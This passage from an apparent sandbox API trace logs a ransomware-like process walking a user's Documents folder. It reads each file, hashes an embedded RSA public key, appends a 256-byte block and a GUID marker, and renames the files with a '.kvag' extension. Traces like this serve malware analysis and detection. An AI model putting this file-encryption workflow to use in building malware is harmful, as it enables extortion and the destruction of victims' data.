"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cimf3tkpai.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.312] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=29790) returned 1 [0119.313] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.315] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7438, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.315] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.316] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x745e, lpOverlapped=0x0) returned 1 [0119.317] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.317] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.317] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.317] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.318] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.318] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.318] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.318] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.318] GetLastError () returned 0x0 [0119.318] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.318] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.318] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.318] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.318] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.318] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.318] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x745e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.318] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.319] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.319] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.319] CloseHandle (hObject=0x61c) returned 1 [0119.320] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cIMF3tKpAi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cimf3tkpai.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cIMF3tKpAi.pdf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cimf3tkpai.pdf.kvag")) returned 1 [0119.321] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439cd8f0, ftCreationTime.dwHighDateTime=0x1d500de, ftLastAccessTime.dwLowDateTime=0xbbdf6db0, ftLastAccessTime.dwHighDateTime=0x1d53c06, ftLastWriteTime.dwLowDateTime=0xbbdf6db0, ftLastWriteTime.dwHighDateTime=0x1d53c06, nFileSizeHigh=0x0, nFileSizeLow=0x3779, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CJmRkQ5JiE_lg0ZYg.docx", cAlternateFileName="CJMRKQ~1.DOC")) returned 1 [0119.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CJmRkQ5JiE_lg0ZYg.docx") returned=".docx" [0119.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CJmRkQ5JiE_lg0ZYg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjmrkq5jie_lg0zyg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.322] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=14201) returned 1 [0119.322] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.324] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3753, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.324] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.326] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x3779, lpOverlapped=0x0) returned 1 [0119.326] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.326] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.326] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.326] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.327] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.327] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.327] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.327] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.327] GetLastError () returned 0x0 [0119.327] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.327] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.327] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.327] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.327] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.328] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.328] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3779, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.328] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.328] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.328] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.328] CloseHandle (hObject=0x61c) returned 1 [0119.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CJmRkQ5JiE_lg0ZYg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjmrkq5jie_lg0zyg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CJmRkQ5JiE_lg0ZYg.docx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjmrkq5jie_lg0zyg.docx.kvag")) returned 1 [0119.330] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540a00, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0x3dd16cb0, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x3dd16cb0, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0x8409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqP6Ff j5ryAP9m.csv", cAlternateFileName="CQP6FF~1.CSV")) returned 1 [0119.330] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CqP6Ff j5ryAP9m.csv") returned=".csv" [0119.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CqP6Ff j5ryAP9m.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cqp6ff j5ryap9m.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.331] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=33801) returned 1 [0119.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.332] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x83e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.332] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.333] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8409, lpOverlapped=0x0) returned 1 [0119.334] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.334] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.334] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.334] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.335] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.335] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.335] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.335] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.335] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.335] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.335] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.335] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.335] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.336] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.336] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.336] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.336] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.336] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.336] CloseHandle (hObject=0x61c) returned 1 [0119.337] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CqP6Ff j5ryAP9m.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cqp6ff j5ryap9m.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CqP6Ff j5ryAP9m.csv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cqp6ff j5ryap9m.csv.kvag")) returned 1 [0119.338] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.338] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0119.338] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4558a1e0, ftCreationTime.dwHighDateTime=0x1d4f69a, ftLastAccessTime.dwLowDateTime=0x6495c10, ftLastAccessTime.dwHighDateTime=0x1d527e6, ftLastWriteTime.dwLowDateTime=0x6495c10, ftLastWriteTime.dwHighDateTime=0x1d527e6, nFileSizeHigh=0x0, nFileSizeLow=0x107ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e29DgY3qW.docx", cAlternateFileName="E29DGY~1.DOC")) returned 1 [0119.338] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e29DgY3qW.docx") returned=".docx" [0119.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e29DgY3qW.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e29dgy3qw.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.339] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=67499) returned 1 [0119.339] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.341] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10785, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.341] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.343] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x107ab, lpOverlapped=0x0) returned 1 [0119.344] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.344] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.344] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.344] CryptAcquireContextW (in: phProv=0x6a5fa50, 